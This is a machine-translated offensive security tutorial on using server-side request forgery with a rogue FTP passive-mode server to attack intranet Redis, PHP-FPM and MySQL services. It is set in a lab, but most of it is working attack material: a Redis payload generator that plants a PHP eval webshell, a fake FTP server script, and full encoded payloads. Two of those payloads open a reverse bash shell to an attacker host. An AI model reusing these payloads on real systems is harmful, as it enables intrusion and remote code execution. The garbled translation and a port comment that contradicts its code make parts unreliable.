Actual combat | use SSRF to penetrate intranet host - lower

FTP protocol

FTP File Transfer Protocol (FTP) is one of the protocols in the TCP/IP protocol group. The FTP protocol includes two components: one is the FTP server, and the other is the FTP client. The FTP server is used to store files. Users can use the FTP client to access resources on the FTP server through the FTP protocol. It is usually used when developing websites Use FTP protocol to transfer Web pages or programs to Web server. In addition, because FTP transmission efficiency is very high, it is generally used when transmitting large files on the network.

By default, FTP protocol uses 20 and 21 of TCP ports, of which 20 is used to transmit data and 21 is used to transmit control information. However, whether to use 20 as the data transmission port is related to the transmission mode used by FTP. If the active mode is adopted, the data transmission port is 20; If the passive mode is adopted, the specific port to be used should be determined through negotiation between the server and the client.

Active mode and passive mode

FTP session includes two channels, control channel and data transmission channel. FTP works in two modes, one is active mode and the other is passive mode. With reference to FTP Server: active mode, the server actively connects to the client for transmission; Passive mode, waiting for the client to connect.

Active mode (Port)

The FTP client connects to PORT 21 of the FTP server and sends the user name and password, The client randomly opens a high-level PORT (above 1024) and sends the PORT command to the FTP server to inform the server that the client adopts the active mode and opens the PORT. After receiving the PORT active mode command and PORT, the FTP server connects with the PORT opened by the client through PORT 20 of the server and sends data. The principle is shown in the figure.

Untitled Diagram.drawio

Passive mode

The FTP client connects to port 21 monitored by the FTP server, sends the user name and password, and sends the PASV command to the FTP server, The server randomly opens a port (above 1024) locally, and then informs the client of the open port, and then the client connects to the open port of the server for data transmission. The principle is shown in the figure. (Note: PASV is the abbreviation of Passive, Passive mode)

Untitled Diagram.drawio (2)

Here, the active and passive are judged relative to the FTP Server.

Whether in active or passive mode, the first control channel is established first, only the difference in data transmission mode.

Note: most Internet applications are in passive mode Because most clients are behind the router and have no independent public IP address, it is too difficult for the server to actively connect the client. It is almost impossible to complete the task in the real Internet environment.

It can be seen that in the passive mode, the data transmission ports of FTP client and server are specified by the server, and there is another point that is not mentioned in many places. In fact, in addition to the port, the server address can also be specified. Because FTP is similar to HTTP, the protocol content is all plain text, so we can clearly see how it specifies the address and port:

227 Entering Passive Mode(192,168,9,2,4,8)

227 and Entering Passive Mode are similar to the status code and status phrase of HTTP, while (192168,9,2,4,8) represents letting the client connect to 192.168 9.2 4 * 256 + 8 = 1032 ports.

In this way, if we specify (127,0,0,1,09000), we can refer to the address and port to 127.0 0.1:9000, that is, the local 9000 port. At the same time, due to the characteristics of FTP, it will send the transmitted data to the local 9000 port intact without any redundant content. If we replace the transmitted data with specific Payload data, we can attack applications on specific ports of the intranet. In the whole process, FTP only plays a role in redirecting the content of Payload.

Experimental environment

Attacker: Kali -- 192.168 one hundred and twenty-three point two four one Victim: Ubuntu - 192.168 123.189 (running services "Redis, MySQL, PHP FPM")

The following is a PHP script with a vulnerability

<?php
    file_put_contents($_GET['file'], $_GET['data']);
?>

file_ put_ The contents () function writes a string to a file. It is the same as calling fopen(), fwrite() and fclose() functions in turn.

file_ put_ Before using the contents function, you need to add PHP Allow of ini_ url_ Fopen is set to ON.

There is a WebShell write vulnerability at this point, but how to exploit it in an environment where files cannot be written? Then SSRF can be used to attack.

But file_get_contents and file_put_contents does not support gopher and dict protocols.

So how can we achieve RCE? At this time, we can start with the passive mode of FTP and attack intranet applications through SSRF.

SSRF uses FTP protocol to attack Redis

Assuming that Redis exists in the intranet and can be accessed without authorization, we can also directly attack Redis to write Webshell, SSH secret key, plan tasks, etc.

First, write a script to generate a Payload (Gopherus can also be used) that attacks Redis:

#!/usr/bin/env python
# coding: utf-8
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"    # In a word
filename="shell.php"
path="/var/www/html"
passwd=""    # You can also fill in the password of Redis here, which is applicable when there is no unauthorized Redis
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

Get payload select only_ Part of

%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

Then run evil on the attacker_ ftp. Py start a pseudo FTP service:

# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 23))        # ftp service binding port 23
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,6379)\n') #STOR / (2) 
# "127,0,0,1" refers to the local of the victim, and "6379" refers to the port number of the Redis service
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

Running services:

Finally, directly construct the request to send the Payload (without secondary URL coding):

http://hacktop.com/ssrf_2.php?file=ftp://192.168.123.241:23/123&data=%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

As shown in the following figure, the Webshell is successfully written:

SSRF attacks PHP-FPM using FTP protocol

Assuming that PHP-FPM is found in the intranet at this time, we can attack the PHP-FPM in the intranet through the passive mode of FTP.

First, generate a Payload using Gopherus:

Get the Payload as long as_ Later:

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0D%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1FSCRIPT_FILENAME/usr/share/nginx/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.123.241/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

Then run evil on the attacker_ ftp. Py start a pseudo FTP service:

# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 23))        # ftp service binding port 23
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2) 
# "127,0,0,1"PHP-FPM service is local to the victim, and "9000" is the port number of PHP-FPM service
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

Running services:

Enable nc listening and wait for the shell to rebound:

Finally, just send the Payload to the request:

http://hacktop.com/ssrf_2.php?file=ftp://192.168.123.241:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0D%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1FSCRIPT_FILENAME/usr/share/nginx/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.123.241/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

As shown in the figure above, the Shell is successfully rebounded.

SSRF attacks MySQL using FTP protocol

How to use MySQL to grab packets without authorization has been explained in detail in the previous section, and will not be explained here.

Here, you can directly execute system commands using the dynamic link library and user-defined functions written in the previous section.

First, generate a payload using Gopherus:

Get the Payload as long as_ Later:

%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%67%00%00%00%03%73%65%6c%65%63%74%20%73%79%73%5f%65%76%61%6c%28%27%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%45%79%4d%79%34%79%4e%44%45%76%4e%44%51%30%4e%43%41%77%50%69%59%78%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%20%2d%69%27%29%01%00%00%00%01

Then run evil on the attacker_ ftp. Py start a pseudo FTP service:

# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 23))        # ftp service binding port 23
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2) 
# "127,0,0,1"MySQL service is local to the victim, and "3306" is the port number of MySQL service
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

Running services:

Enable nc listening and wait for the shell to rebound:

Finally, just send the Payload to the request:

http://hacktop.com/ssrf_2.php?file=ftp://192.168.123.241:23/123&data=%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%67%00%00%00%03%73%65%6c%65%63%74%20%73%79%73%5f%65%76%61%6c%28%27%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%45%79%4d%79%34%79%4e%44%45%76%4e%44%51%30%4e%43%41%77%50%69%59%78%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%20%2d%69%27%29%01%00%00%00%01

Added by PupChow on Sat, 01 Jan 2022 01:04:27 +0200